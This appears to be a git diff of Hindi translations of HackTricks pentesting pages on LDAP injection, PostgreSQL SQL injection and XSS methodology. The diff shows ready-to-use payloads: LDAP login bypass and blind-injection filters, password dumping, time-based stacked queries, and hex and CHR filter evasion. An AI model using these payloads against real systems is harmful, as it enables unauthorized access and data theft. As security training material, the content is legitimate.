* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,13 +26,13 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
### **LDAP**
|
||||
|
||||
**अगर आप जानना चाहते हैं कि LDAP क्या है तो निम्नलिखित पृष्ठ तक पहुंचें:**
|
||||
**यदि आप जानना चाहते हैं कि LDAP क्या है तो निम्नलिखित पृष्ठ पर जाएं:**
|
||||
|
||||
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAP Injection** एक हमला है जो वेब एप्लिकेशनों को लक्षित करता है जो उपयोगकर्ता इनपुट से LDAP वक्तव्य बनाते हैं। यह उस समय होता है जब एप्लिकेशन **इनपुट को सही ढंग से सैनिटाइज़ नहीं करता**, जिससे हमलावादी **स्थानीय प्रॉक्सी के माध्यम से LDAP वक्तव्यों को परिवर्तित** कर सकते हैं, जो अनधिकृत पहुंच या डेटा परिवर्तन की ओर ले जा सकता है।
|
||||
**LDAP Injection** एक हमला है जो वेब एप्लिकेशनों को लक्षित करता है जो उपयोगकर्ता इनपुट से LDAP वक्तव्य निर्मित करते हैं। यह उस समय होता है जब एप्लिकेशन **इनपुट को सही ढंग से सैनिटाइज़ नहीं करता**, जिससे हमलावाद एक स्थानीय प्रॉक्सी के माध्यम से LDAP वक्तव्यों को **मानिपुलेट** कर सकते हैं, जो अनधिकृत पहुंच या डेटा में परिवर्तन की ओर ले जा सकता है।
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
|
@ -42,13 +42,13 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
**या** = |filterlist\
|
||||
**नॉट** = ! filter\
|
||||
**फ़िल्टरलिस्ट** = 1\*filter\
|
||||
**आइटम**= सरल / उपस्थित / उपस्थित\
|
||||
**सरल** = attr filtertype assertionvalue\
|
||||
**फ़िल्टरटाइप** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**प्रेजेंट** = attr = \*\
|
||||
**सबस्ट्रिंग** = attr ”=” \[initial] \* \[final]\
|
||||
**इनिशियल** = assertionvalue\
|
||||
**फाइनल** = assertionvalue\
|
||||
**आइटम**= सरल / मौजूद / उपस्थिती\
|
||||
**सरल** = एट्रिब्यूट फ़िल्टर प्रकार असर्शनवैल्यू\
|
||||
**फ़िल्टर प्रकार** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**प्रेजेंट** = एट्रिब्यूट = \*\
|
||||
**सबस्ट्रिंग** = एट्रिब्यूट ”=” \[आरंभिक] \* \[अंतिम]\
|
||||
**आरंभिक** = असर्शनवैल्यू\
|
||||
**अंतिम** = असर्शनवैल्यू\
|
||||
**(&)** = पूर्ण सत्य\
|
||||
**(|)** = पूर्ण झूठ
|
||||
|
||||
|
@ -58,11 +58,11 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
आप डेटाबेस तक पहुंच सकते हैं, और इसमें विभिन्न प्रकार की जानकारी हो सकती है।
|
||||
|
||||
**OpenLDAP**: अगर 2 फ़िल्टर्स पहुंचते हैं, तो केवल पहला चलाता है।\
|
||||
**ADAM या Microsoft LDS**: 2 फ़िल्टर्स के साथ वे एक त्रुटि फेंकते हैं।\
|
||||
**SunOne Directory Server 5.0**: दोनों फ़िल्टर्स को चलाता है।
|
||||
**OpenLDAP**: यदि 2 फ़िल्टर पहुंचते हैं, तो केवल पहला चलाता है।\
|
||||
**ADAM या Microsoft LDS**: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।\
|
||||
**SunOne Directory Server 5.0**: दोनों फ़िल्टर को चलाता है।
|
||||
|
||||
**फ़िल्टर को सही सिंटैक्स के साथ भेजना बहुत महत्वपूर्ण है या एक त्रुटि फेंकी जाएगी। बेहतर है केवल 1 फ़िल्टर भेजना।**
|
||||
**फ़िल्टर को सही सिंटैक्स के साथ भेजना बहुत महत्वपूर्ण है या त्रुटि फेंकी जाएगी। बेहतर है केवल 1 फ़िल्टर भेजना।**
|
||||
|
||||
फ़िल्टर को इसके साथ शुरू होना चाहिए: `&` या `|`\
|
||||
उदाहरण: `(&(directory=val1)(folder=public))`
|
||||
|
@ -74,7 +74,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
### लॉगिन बाइपास
|
||||
|
||||
LDAP कई प्रारूप समरक पासवर्ड स्टोर करने के लिए समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप पासवर्ड में जो कुछ भी डालें, वह हैश हो।
|
||||
LDAP कई प्रारूप समरक पासवर्ड स्टोर करने का समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप पासवर्ड में जो कुछ भी डालें, वह हैश हो।
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -137,7 +137,7 @@ password=any
|
|||
|
||||
### अंधा LDAP अंजाम
|
||||
|
||||
आप नकली या सच्चे प्रतिक्रियाएँ बलपूर्वक बना सकते हैं ताकि कोई डेटा वापस आता है या नहीं जांचने और एक संभावित अंधा LDAP अंजाम की पुष्टि करने के लिए:
|
||||
आप नकली या सच्चे प्रतिक्रियाएँ बलवान कर सकते हैं ताकि कोई डेटा वापस आता है या नहीं जांचने और एक संभावित अंधा LDAP अंजाम की पुष्टि करने के लिए:
|
||||
```bash
|
||||
#This will result on True, so some information will be shown
|
||||
Payload: *)(objectClass=*))(&objectClass=void
|
||||
|
@ -151,7 +151,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
|||
```
|
||||
#### डेटा डंप
|
||||
|
||||
आप ASCII अक्षरों, अंकों और प्रतीकों पर चल सकते हैं:
|
||||
आप एस्की अक्षर, अंक और प्रतीकों पर चल सकते हैं:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -166,7 +166,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
|||
|
||||
#### **मान्य LDAP फ़ील्ड्स खोजें**
|
||||
|
||||
LDAP ऑब्जेक्ट **डिफ़ॉल्ट रूप से कई विशेषताएँ शामिल होती हैं** जिन्हें **जानकारी सहेजने के लिए** उपयोग किया जा सकता है। आप उन सभी को **ब्रूट-फ़ोर्स करके उस जानकारी को निकालने की कोशिश कर सकते हैं।** आप यहां [**डिफ़ॉल्ट LDAP विशेषताएँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) की सूची पा सकते हैं।
|
||||
LDAP ऑब्जेक्ट **डिफ़ॉल्ट रूप से कई विशेषताएँ शामिल होती हैं** जिनका उपयोग **जानकारी सहेजने** के लिए किया जा सकता है। आप इन सभी को **ब्रूट-फ़ोर्स करके उस जानकारी को निकालने का प्रयास कर सकते हैं।** आप [**डिफ़ॉल्ट LDAP विशेषताएँ यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) प्राप्त कर सकते हैं।
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -223,7 +223,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
|
@ -231,14 +231,14 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) का खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह देखें
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
|
@ -22,19 +22,19 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
***
|
||||
|
||||
**यह पृष्ठ एक postgresql डेटाबेस में पाए गए SQL इंजेक्शन को शातिरतापूर्वक उपयोग करने में मदद करने विभिन्न ट्रिक्स को समझाने का उद्देश्य रखता है और इन ट्रिक्स को पूरा करने के लिए आपको** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पाए जा सकते हैं।**
|
||||
**यह पृष्ठ विभिन्न ट्रिक्स को समझाने का उद्देश्य रखता है जो आपको postgresql डेटाबेस में पाए गए SQL इंजेक्शन का शोध करने और उसे उत्तेजित करने में मदद कर सकते हैं और इन ट्रिक्स को पूरा करने के लिए आपको मिल सकते हैं** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## नेटवर्क इंटरेक्शन - विशेषाधिकार उन्नयन, पोर्ट स्कैनर, NTLM चैलेंज प्रतिक्रिया जारी करना और निकासीकरण
|
||||
## नेटवर्क इंटरेक्शन - विशेषाधिकार उन्नयन, पोर्ट स्कैनर, NTLM चैलेंज प्रतिक्रिया जारी करना और उद्धरण
|
||||
|
||||
**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL इंस्टेंस से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएं प्रदान करता है। ये विशेषताएँ, `COPY FROM` कार्यक्षमता के साथ, विशेषाधिकार उन्नयन, पोर्ट स्कैनिंग, और NTLM चैलेंज प्रतिक्रिया कैप्चर जैसी क्रियाएँ संभव बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत विधियों के लिए जांचें कि [इन हमलों को कैसे निष्पादित करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)।
|
||||
**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL इंस्टेंस से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएं प्रदान करता है। ये सुविधाएं, `COPY FROM` कार्यक्षमता के साथ, विशेषाधिकार उन्नयन, पोर्ट स्कैनिंग, और NTLM चैलेंज प्रतिक्रिया कैप्चर जैसी क्रियाएं संभव बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत विधियों के लिए देखें कैसे [इन हमलों को निष्पादित करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)।
|
||||
|
||||
### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके निकासीकरण उदाहरण**
|
||||
### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके उद्धरण**
|
||||
|
||||
आप [**इस उदाहरण**](dblink-lo\_import-data-exfiltration.md) को देख सकते हैं ताकि आप एक CTF उदाहरण देख सकें **किस प्रकार बड़े ऑब्जेक्ट्स में डेटा लोड करने और फिर बड़े ऑब्जेक्ट्स की सामग्री को उपयोगकर्ता के उपयोगकर्ता नाम में निकालने** के लिए `dblink_connect` फ़ंक्शन के अंदर की सामग्री को निकाल सकें।
|
||||
आप [**इस उदाहरण**](dblink-lo\_import-data-exfiltration.md) को देख सकते हैं ताकि आप एक CTF उदाहरण देख सकें **किस प्रकार बड़े ऑब्जेक्ट्स में डेटा लोड करने और फिर बड़े ऑब्जेक्ट्स की सामग्री को उपयोगकर्ता के फ़ंक्शन `dblink_connect` के उपयोग से बड़े ऑब्जेक्ट्स की सामग्री को उद्धरण करें**।
|
||||
|
||||
## PostgreSQL हमले: पढ़ना/लिखना, RCE, विशेषाधिकार
|
||||
## PostgreSQL हमले: पढ़ना/लिखना, RCE, विशेषाधिकार उन्नयन
|
||||
|
||||
जांचें कि PostgreSQL से होस्ट को कैसे कंप्रोमाइज़ करें और विशेषाधिकारों को कैसे उन्नत करें:
|
||||
जांचें कैसे PostgreSQL से होस्ट को कंप्रमाइज़ करें और विशेषाधिकारों को उन्नयन करें:
|
||||
|
||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
|
@ -44,12 +44,12 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
### PostgreSQL स्ट्रिंग फ़ंक्शन्स
|
||||
|
||||
स्ट्रिंग को मोड़ना आपको **WAFs या अन्य प्रतिबंधों को बाईपास करने** में मदद कर सकता है।\
|
||||
स्ट्रिंग को मोड़ना आपको **WAFs या अन्य प्रतिबंधों को बाईपास करने में मदद कर सकता है**।\
|
||||
[**इस पृष्ठ में** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**आप कुछ उपयोगी स्ट्रिंग फ़ंक्शन्स पा सकते हैं।**
|
||||
|
||||
### स्टैक्ड क्वेरीज़
|
||||
|
||||
ध्यान रखें कि postgresql स्टैक्ड क्वेरीज़ का समर्थन करता है, लेकिन कई एप्लिकेशन एक त्रुटि फेंकेंगे अगर 2 प्रतिक्रियाएँ वापस आती हैं जब केवल 1 की अपेक्षा होती है। लेकिन, आप अब भी समय इंजेक्शन के माध्यम से स्टैक्ड क्वेरीज़ का दुरुपयोग कर सकते हैं:
|
||||
ध्यान रखें कि postgresql स्टैक्ड क्वेरीज़ का समर्थन करता है, लेकिन कई एप्लिकेशन एक त्रुटि फेंकेंगे अगर 2 प्रतिक्रियाएं लौटाई जाती हैं जब केवल 1 की अपेक्षा होती है। लेकिन, आप अब भी समय इंजेक्शन के माध्यम से स्टैक्ड क्वेरीज़ का दुरुपयोग कर सकते हैं:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -58,19 +58,19 @@ id=1; select pg_sleep(10);-- -
|
|||
|
||||
**query\_to\_xml**
|
||||
|
||||
यह फ़ंक्शन केवल एक फ़ाइल में XML प्रारूप में सभी डेटा वापस करेगा। यह उपयुक्त है अगर आप एक पंक्ति में बहुत सारा डेटा डंप करना चाहते हैं:
|
||||
यह फ़ंक्शन XML प्रारूप में सभी डेटा को एक ही फ़ाइल में लौटाएगा। यह उपयुक्त है अगर आप बहुत सारे डेटा को केवल 1 पंक्ति में डंप करना चाहते हैं:
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
**डेटाबेस\_टू\_एक्सएमएल**
|
||||
|
||||
यह फ़ंक्शन सिर्फ 1 पंक्ति में XML प्रारूप में पूरे डेटाबेस को डंप करेगा (ध्यान दें अगर डेटाबेस बहुत बड़ा है तो आप इसे डीओएस कर सकते हैं या अपने ही क्लाइंट को।)
|
||||
यह फ़ंक्शन सिर्फ 1 पंक्ति में XML प्रारूप में पूरे डेटाबेस को डंप करेगा (ध्यान दें अगर डेटाबेस बहुत बड़ा है तो आप इसे डोएस कर सकते हैं या अपने ही क्लाइंट को।)
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### हेक्स में स्ट्रिंग्स
|
||||
|
||||
यदि आप **क्वेरी** को **स्ट्रिंग के अंदर** चला सकते हैं (उदाहरण के लिए **`query_to_xml`** फ़ंक्शन का उपयोग करके)। **आप convert\_from का उपयोग करके स्ट्रिंग को हेक्स के रूप में पास कर सकते हैं और इस तरह फ़िल्टर को बाईपास कर सकते हैं:**
|
||||
यदि आप **क्वेरी** को **स्ट्रिंग के भीतर** भेज सकते हैं (उदाहरण के लिए **`query_to_xml`** फ़ंक्शन का उपयोग करके)। **आप convert\_from का उपयोग करके स्ट्रिंग को हेक्स के रूप में भेज सकते हैं और इस तरीके से फ़िल्टर को अनदेखा कर सकते हैं:**
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
@ -84,7 +84,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
|
||||
### निषिद्ध उद्धरण
|
||||
|
||||
यदि आप अपने पेयलोड के लिए उद्धरण का उपयोग नहीं कर सकते हैं तो आप इसे `CHR` के साथ दुर्गम कर सकते हैं बुनियादी वाक्यांशों के लिए (_वर्ण संयोजन केवल मौलिक क्वेरी के लिए काम करता है जैसे कि SELECT, INSERT, DELETE, आदि। यह सभी SQL वक्तव्यों के लिए काम नहीं करता है_)।
|
||||
यदि आप अपने पेलोड के लिए उद्धरण का उपयोग नहीं कर सकते हैं तो आप इसे बाइपास कर सकते हैं `CHR` के साथ मूल वाक्यांशों के लिए (_वर्ण संयोजन केवल मूल जैसे SELECT, INSERT, DELETE, आदि के लिए काम करता है। यह सभी SQL वक्तव्यों के लिए काम नहीं करता है_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
@ -94,7 +94,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
|
||||
|
@ -106,9 +106,9 @@ SELECT $TAG$hacktricks$TAG$;
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
|
|
|
@ -1,39 +1,39 @@
|
|||
# XSS (क्रॉस साइट स्क्रिप्टिंग)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## मेथडोलॉजी
|
||||
## Methodology
|
||||
|
||||
1. जांचें कि क्या **आपके द्वारा नियंत्रित कोई मान** (_पैरामीटर_, _पथ_, _हेडर्स_?, _कुकीज_?) HTML में **प्रतिबिंबित** हो रहा है या **JS** कोड द्वारा **उपयोग** किया जा रहा है।
|
||||
1. जांचें कि क्या **आपके द्वारा नियंत्रित कोई मान** (_पैरामीटर_, _पथ_, _हेडर्स_?, _कुकीज़_?) HTML में **प्रतिबिंबित** हो रहा है या **JS** कोड द्वारा **उपयोग** किया जा रहा है।
|
||||
2. **ढूंढें कि कहाँ परिस्थिति** है जहाँ यह प्रतिबिंबित/उपयोग किया जा रहा है।
|
||||
3. यदि **प्रतिबिंबित**
|
||||
3. यदि **प्रतिबिंबित** है
|
||||
1. जांचें **कौन से प्रतीक आप उपयोग कर सकते हैं** और इसके आधार पर पेलोड तैयार करें:
|
||||
1. **कच्चे HTML** में:
|
||||
1. क्या आप नए HTML टैग बना सकते हैं?
|
||||
2. क्या आप `javascript:` प्रोटोकॉल समर्थित घटनाएं या गुणों का उपयोग कर सकते हैं?
|
||||
2. क्या आप `javascript:` प्रोटोकॉल समर्थित घटनाएँ या विशेषताएँ उपयोग कर सकते हैं?
|
||||
3. क्या आप सुरक्षा को छल सकते हैं?
|
||||
4. क्या HTML सामग्री को किसी क्लाइंट साइड JS इंजन (_AngularJS_, _VueJS_, _Mavo_...) द्वारा व्याख्या किया जा रहा है, तो आप [**क्लाइंट साइड टेम्पलेट इंजेक्शन**](../client-side-template-injection-csti.md) का दुरुपयोग कर सकते हैं।
|
||||
5. यदि आप HTML टैग नहीं बना सकते जो JS कोड को निष्पादित करते हैं, तो क्या आप [**डैंगलिंग मार्कअप - HTML स्क्रिप्टलेस इंजेक्शन**](../dangling-markup-html-scriptless-injection/) का दुरुपयोग कर सकते हैं?
|
||||
5. यदि आप HTML टैग नहीं बना सकते जो JS कोड को निष्पादित करते हैं, क्या आप [**डैंगलिंग मार्कअप - HTML स्क्रिप्टलेस इंजेक्शन**](../dangling-markup-html-scriptless-injection/) का दुरुपयोग कर सकते हैं?
|
||||
2. **HTML टैग** के अंदर:
|
||||
1. क्या आप कच्चे HTML संदर्भ में निकल सकते हैं?
|
||||
2. क्या आप नए घटनाएं/गुण बना सकते हैं जो JS कोड को निष्पादित करें?
|
||||
3. क्या वह गुण जिसमें आप फंसे हैं JS निष्पादन का समर्थन करता है?
|
||||
1. क्या आप कच्चे HTML संदर्भ से बाहर निकल सकते हैं?
|
||||
2. क्या आप नए घटनाएँ/विशेषताएँ बना सकते हैं जो JS कोड को निष्पादित करते हैं?
|
||||
3. क्या वह विशेषता जिसमें आप फंसे हैं JS निष्पादन का समर्थन करती है?
|
||||
4. क्या आप सुरक्षा को छल सकते हैं?
|
||||
3. **JavaScript कोड** के अंदर:
|
||||
1. क्या आप `<script>` टैग से बाहर निकल सकते हैं?
|
||||
2. क्या आप स्ट्रिंग को छलकर अलग JS कोड निष्पादित कर सकते हैं?
|
||||
2. क्या आप स्ट्रिंग को छल सकते हैं और विभिन्न JS कोड को निष्पादित कर सकते हैं?
|
||||
3. क्या आपका इनपुट टेम्पलेट लिटरल्स \`\` में है?
|
||||
4. क्या आप सुरक्षा को छल सकते हैं?
|
||||
4. निष्पादित हो रहा है जावास्क्रिप्ट **फ़ंक्शन**
|
||||
1. आप निष्पादित करने के लिए फ़ंक्शन का नाम दर्शा सकते हैं। उदा।: `?callback=alert(1)`
|
||||
1. आप निष्पादित करने के लिए फ़ंक्शन का नाम दर्शा सकते हैं। उदाहरण: `?callback=alert(1)`
|
||||
4. यदि **उपयोग किया जा रहा है**:
|
||||
1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है**।
|
||||
1. आप एक **DOM XSS** का शोषण कर सकते हैं, अपने इनपुट को कैसे नियंत्रित किया जा रहा है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है** इस पर ध्यान दें।
|
||||
|
||||
जब एक जटिल XSS पर काम कर रहे हों, तो आपको यह जानने में दिलचस्पी मिल सकती है:
|
||||
जब एक जटिल XSS पर काम कर रहे हों, तो आपको यह जानने में दिलचस्पी मिल सकती है कि:
|
||||
|
||||
{% content-ref url="debugging-client-side-js.md" %}
|
||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
|
@ -41,29 +41,29 @@
|
|||
|
||||
